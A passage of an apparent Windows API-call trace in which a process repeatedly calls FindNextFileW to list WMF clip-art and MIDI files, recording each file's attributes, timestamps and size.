	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1
	[0277.087] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1
	[0277.176] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1
	[0277.177] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1
	[0277.178] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1
	[0277.179] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1
	[0277.237] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1
